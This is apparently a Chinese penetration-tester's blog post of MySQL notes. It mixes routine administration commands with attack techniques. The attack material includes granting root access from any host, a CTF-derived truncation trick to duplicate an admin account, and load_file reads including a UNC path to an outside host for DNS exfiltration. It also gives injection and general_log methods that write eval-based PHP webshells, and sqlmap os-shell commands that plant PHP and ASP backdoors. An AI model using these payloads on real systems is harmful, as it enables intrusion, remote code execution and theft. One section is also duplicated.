MySQL问题

渗透测试中遇到一些MySQL问题

常用操作语句

用户管理

  1. 新建用户:

    CREATE USER name IDENTIFIED BY ‘ssapdrow’;

  2. 更改密码:

    SET PASSWORD FOR name=PASSWORD(‘fdddfd’);

  3. 权限管理

    SHOW GRANTS FOR name; //查看name用户权限
    GRANT SELECT ON db_name. TO name;    //给name用户db_name数据库的所有权限
    REVOKE SELECT ON db_name. TO name;    //GRANT的反操作,去除权限;

数据库操作

  1. 查看数据库:

    SHOW DATABASES;

  2. 创建数据库:

    CREATE DATABASE db_name;  //db_name为数据库名

  3. 使用数据库:

    USE db_name;

  4. 删除数据库:

    DROP DATABASE db_name;

创建表

  • 创建表:
    1
    2
    3
    4
    5
    6
    7
    CREATE TABLE table_name(
    id TINYINT UNSIGNED NOT NULL AUTO_INCREMENT,    //id值,无符号、非空、递增——唯一性,可做主键。
    name VARCHAR(60) NOT NULL
    score TINYINT UNSIGNED NOT NULL DEFAULT 0,    //设置默认列值
    PRIMARY KEY(id)
    )ENGINE=InnoDB    //设置表的存储引擎,一般常用InnoDB和MyISAM;InnoDB可靠,支持事务;MyISAM高效不支持全文检索
    DEFAULT charset=utf8;  //设置默认的编码,防止数据库中文乱码

如果有条件的创建数据表还可以使用 >CREATE TABLE IF NOT EXISTS tb_name(……..

  • 复制表:

    CREATE TABLE tb_name2 SELECT * FROM tb_name;
    或者部分复制:
    CREATE TABLE tb_name2 SELECT id,name FROM tb_name;

  • 创建临时表:

    CREATE TEMPORARY TABLE tb_name(这里和创建普通表一样);

  • 查看数据库中可用的表:

    SHOW TABLES;

  • 查看表的结构:

    DESCRIBE tb_name;
    也可以使用:
    SHOW COLUMNS in tb_name;     //from也可以

  • 删除表:

    DROP [ TEMPORARY ] TABLE [ IF EXISTS ] tb_name[ ,tb_name2…….];
    实例:
    DROP TABLE IF EXISTS tb_name;

  • 表重命名:

RENAME TABLE name_old TO name_new;
还可以使用:
ALTER TABLE name_old RENAME name_new;

插入数据

  • 插入数据:

    INSERT INTO tb_name(id,name,score)VALUES(NULL,’张三’,140),(NULL,’张四’,178),(NULL,’张五’,134);
    这里的插入多条数据直接在后边加上逗号,直接写入插入的数据即可;主键id是自增的列,可以不用写。

  • 插入检索出来的数据:

    INSERT INTO tb_name(name,score) SELECT name,score FROM tb_name2;

更新数据

  • 指定更新数据:

    UPDATE tb_name SET score=189 WHERE id=2;
    UPDATE tablename SET columnName=NewValue [ WHERE condition ]

更新数据

  • 指定更新数据:

    UPDATE tb_name SET score=189 WHERE id=2;
    UPDATE tablename SET columnName=NewValue [ WHERE condition ]

MySQL外连

  • 改表

vps上的MySQL不允许远程登陆,只能在127.0.0.1
这个时候只要在vps上,登入MySQL后,更改 MySQL数据库里的 user表里的 host 项,从localhost改称% 或添加一个用户为%

1
2
3
4
mysql -u root -p
mysql>use mysql;
mysql>update user set host = '%' where user = 'root';
mysql>select host, user from user;

  • 授权

在MySQL服务器上MySQL命令行执行以下命令:

1
2
grant all privileges on *.* to root@"%" identified by 'rcoil' with grant option;
flush privileges;

其中上面两行代码的意思是给从任意ip地址连接的用户名为root,密码为abc的用户赋予所有的权限。其中的”%”为任意的ip地址,如果想设为特定的值也可以设定为特定的值。

  • 利用 Navicat 自带的http隧道链接

我这里是本地做的测试。
ntunnel_mysqli.PNG
Navicat_HTTP渠道.PNG
Navicat_test.PNG

就可以链接了。方便你我他。

MySQL数据截断问题

之前在做ISCC的最后一道Web题上遇到的问题,但是一直忘了记录下来。

对于很多web应用文件在很多功能是不容许重复数据的,比如用户注册功能等。先判断注册时的username与数据库里已存在的username是否数据重复,如果出现重复,我们可以用数据的超长截断来绕过这些判断,从而导致更新密码的作用(一个username多个passwd)。

原理:

比如一个表的结构是这样的:

1
create table admin(username varchar(10) not null,passwd varchar(10) not null);

可以看到username跟passwd的字节为10 但是这my.ini设置成
sql-mode=”NO_AUTO_CREATE_USER,NO_ENGINE_SUBSTITUTION”的话
就算超出也会添加成功

mysql的 sql_mode设置为default的时候,即没有开启STRICT_ALL_TABLES选项时,MySQL对于插入超长的值只会提示 warning,而不是error,这样可能会导致一些截断问题。

1
2
3
4
5
6
7
8
9
mysql> insert into RcoIl(`username`,`passwd`) values("admin x", "111")
mysql> select * from RcoIl;
+----+-----------------+--------------+
| id | username | passwd |
+----+-----------------+--------------+
| 1 | admin | 11 |
| 2 | admin | 111 |
+----+-----------------+--------------+

出现了两个admin的记录。

从而我们可以用另外的密码去登录admin账户

MySQL的读写

  • 读文件

常见的读文件,可以用16进制代替字符串

1
2
3
4
selectload_file('c:/boot.ini')
selectload_file(0x633a2f626f6f742e696e69)
selectload_file('//ecma.io/1.txt') # smb协议
selectload_file('\\\\ecma.io\\1.txt') # 可用于DNS隧道

  • 写文件
    已知唯一的写文件的方式
1
select 0x313233 intooutfile 'D:/1.txt'

root权限写shell方法

  • union

    1
    id=2) union select 1,2,3,4,5,6,7,'<? phpinfo(); ?>’ into outfile ‘/home/wwwroot/lu4n.com/luan_phpinfo.php’#
  • no union

    1
    id=2) into outfile ‘/home/wwwroot/demo/phpinfo.php’ fields terminated by ‘<? phpinfo(); ?>’#

无outfile权限时写shell方法

outfile被禁止,或者写入文件被拦截,root权限,在数据库中操作如下:

1
2
3
4
show variables like '%general%'; // 查看mysql日志路径
set global general_log=on; //开启日志
set global general_log_file='xxx路径/1.php'; //设置目录日志为shell地址
select '<?php eval($_POST[cmd]);?>' //随意执行一条mysql语句让其写入一句话到1.php文件里

os-shell查找绝对路径及写入

前端随便查看某图片名字或者上传查看路径
linux系统:

使用pwd查看当前路径
逐层使用ls查找(如uploads)路径
写入一句话
os-shell>echo \<\php\ \@eval\(\$\_POST\[rcoil\]\)\;\?\> >/uploads/rcoil.php

tips:当无法执行命令或者权限低时,可以使用/sbin/
如:##/sbin/ifconfig

windows系统:

在前端找到一张图片,查看图片名:rcoil.jpg
使用dir /s /b d:\rcoil.jpg,就能查找rcoil.jpg的路径
写入一句话
os-shell>echo ^<%eval request(chr(123))%^> >>d:\web\1.txt

当路径为中文名,没找到好方法。

!坚持技术分享,您的支持将鼓励我继续创作!